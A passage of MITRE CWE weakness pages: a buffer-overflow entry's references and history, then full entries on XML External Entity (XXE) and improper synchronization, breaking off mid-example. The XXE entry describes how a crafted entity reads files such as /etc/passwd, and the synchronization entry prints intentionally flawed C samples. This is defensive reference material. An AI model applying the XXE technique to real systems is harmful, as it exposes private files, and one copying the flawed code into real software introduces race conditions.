[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127; Chapter 14, "Prevent I18N Buffer Overruns" Page 441. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-56] Microsoft. "Using the Strsafe.h Functions". <https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-57] Matt Messier and John Viega. "Safe C String Library v1.0.3". <http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html>. URL validated: 2023-04-07.
[REF-58] Michael Howard. "Address Space Layout Randomization in Windows Vista". <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista>. URL validated: 2023-04-07.
[REF-59] Arjan van de Ven. "Limiting buffer overflows with ExecShield". <https://archive.is/saAFo>. URL validated: 2023-04-07.
[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.
[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Memory Corruption", Page 167. 1st Edition. Addison Wesley. 2006.
[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.
[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.
[REF-1333] Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. <http://www.cs.ucr.edu/~nael/pubs/micro16.pdf>. URL validated: 2023-04-26.
[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. URL validated: 2023-04-26.
[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.
[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. URL validated: 2023-04-26.
[REF-1337] Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". Memory information leaks. 2008. <https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf>. URL validated: 2023-04-26.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Likelihood_of_Exploit, Name, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Observed_Examples
2009-10-29CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Relationships, Time_of_Introduction
2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Observed_Examples
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITRE
updated Name
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Demonstrative_Examples
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated References, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Time_of_Introduction
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Alternate_Terms, Relationships
2020-12-10CWE Content TeamMITRE
updated Alternate_Terms, Observed_Examples, Relationships
2021-07-20CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Potential_Mitigations, Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Alternate_Terms, Description
2023-04-27CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Buffer Errors
2009-01-12Failure to Constrain Operations within the Bounds of an Allocated Memory Buffer
2010-12-13Failure to Constrain Operations within the Bounds of a Memory Buffer

CWE-611: Improper Restriction of XML External Entity Reference

Weakness ID: 611
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.
+ Extended Description

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.

By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.

Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

+ Alternate Terms
XXE:
An acronym used for the term "XML eXternal Entities"
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.610Externally Controlled Reference to a Resource in Another Sphere
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.441Unintended Proxy or Intermediary ('Confused Deputy')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.610Externally Controlled Reference to a Resource in Another Sphere
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1015Limit Access
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

XML (Undetermined Prevalence)

Technologies

Class: Web Based (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data; Read Files or Directories

If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.
Integrity

Technical Impact: Bypass Protection Mechanism

The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.
Availability

Technical Impact: DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

The product could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as /dev/random. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.
+ Observed Examples
ReferenceDescription
Recruiter software allows reading arbitrary files using XXE
A browser control can allow remote attackers to determine the existence of files via Javascript containing XML script.
XXE during SVG image conversion
XXE in PHP application allows reading the application's configuration file.
XXE in database server
XXE in rapid web application development framework allows reading arbitrary files.
XXE via XML-RPC request.
XXE in office document product using RDF.
XXE in web-based administration tool for database.
XXE in product that performs large-scale data analysis.
XXE in XSL stylesheet functionality in a common library used by some web browsers.
+ Potential Mitigations

Phases: Implementation; System Configuration

Many XML parsers and validators can be configured to disable external entity expansion.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1030OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
WASC43XML External Entities
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-496] OWASP. "XML External Entity (XXE) Processing". <https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing>.
[REF-497] Sascha Herzog. "XML External Entity Attacks (XXE)". 2010-10-20. <https://owasp.org/www-pdf-archive/XML_Exteral_Entity_Attack.pdf>. URL validated: 2023-04-07.
[REF-498] Gregory Steuck. "XXE (Xml eXternal Entity) Attack". <https://www.beyondsecurity.com/>. URL validated: 2023-04-07.
[REF-499] WASC. "XML External Entities (XXE) Attack". <http://projects.webappsec.org/w/page/13247003/XML%20External%20Entities>.
[REF-500] Bryan Sullivan. "XML Denial of Service Attacks and Defenses". 2009-09. <https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses>. URL validated: 2023-04-07.
[REF-501] Chris Cornutt. "Preventing XXE in PHP". <https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-09-27CWE Content TeamMITRE
updated Background_Details, Other_Notes
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships, Relevant_Properties
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Name, Type
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through XML External Entity File Disclosure
2013-02-21Information Exposure Through XML External Entity Reference
2019-06-20Improper Restriction of XML External Entity Reference ('XXE')

CWE-662: Improper Synchronization

Weakness ID: 662
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.
+ Extended Description

Synchronization refers to a variety of behaviors and mechanisms that allow two or more independently-operating processes or threads to ensure that they operate on shared resources in predictable ways that do not interfere with each other. Some shared resource operations cannot be executed atomically; that is, multiple steps must be guaranteed to execute sequentially, without any interference by other processes. Synchronization mechanisms vary widely, but they may include locking, mutexes, and semaphores. When a multi-step operation on a shared resource cannot be guaranteed to execute independent of interference, then the resulting behavior can be unpredictable. Improper synchronization could lead to data or memory corruption, denial of service, etc.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.663Use of a Non-reentrant Function in a Concurrent Context
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.667Improper Locking
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.820Missing Synchronization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.821Incorrect Synchronization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1058Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.362Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.667Improper Locking
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.366Race Condition within a Thread
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.543Use of Singleton Pattern Without Synchronization in a Multithreaded Context
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.567Unsynchronized Access to Shared Data in a Multithreaded Context
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.667Improper Locking
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.764Multiple Locks of a Critical Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.820Missing Synchronization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.821Incorrect Synchronization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.833Deadlock
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1058Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.1096Singleton Class Instance Creation without Proper Locking or Synchronization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.366Race Condition within a Thread
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.543Use of Singleton Pattern Without Synchronization in a Multithreaded Context
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.567Unsynchronized Access to Shared Data in a Multithreaded Context
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.667Improper Locking
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.764Multiple Locks of a Critical Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.820Missing Synchronization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.821Incorrect Synchronization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1058Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.1096Singleton Class Instance Creation without Proper Locking or Synchronization
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Other

Technical Impact: Modify Application Data; Read Application Data; Alter Execution Logic

+ Demonstrative Examples

Example 1

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)
Example Language:
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */


pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

(good code)
Example Language:
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;


/* access shared resource */


return pthread_mutex_unlock(mutex);
}

Example 2

The following code intends to fork a process, then have both the parent and child processes print a single line.

(bad code)
Example Language:
static void print (char * string) {
char * word;
int counter;
for (word = string; counter = *word++; ) {
putc(counter, stdout);
fflush(stdout);
/* Make timing window a little larger... */

sleep(1);
}
}

int main(void) {
pid_t pid;

pid = fork();
if (pid == -1) {
exit(-2);
}
else if (pid == 0) {
print("child\n");
}
else {
print("PARENT\n");
}
exit(0);
}

One might expect the code to print out something like:

PARENT
child

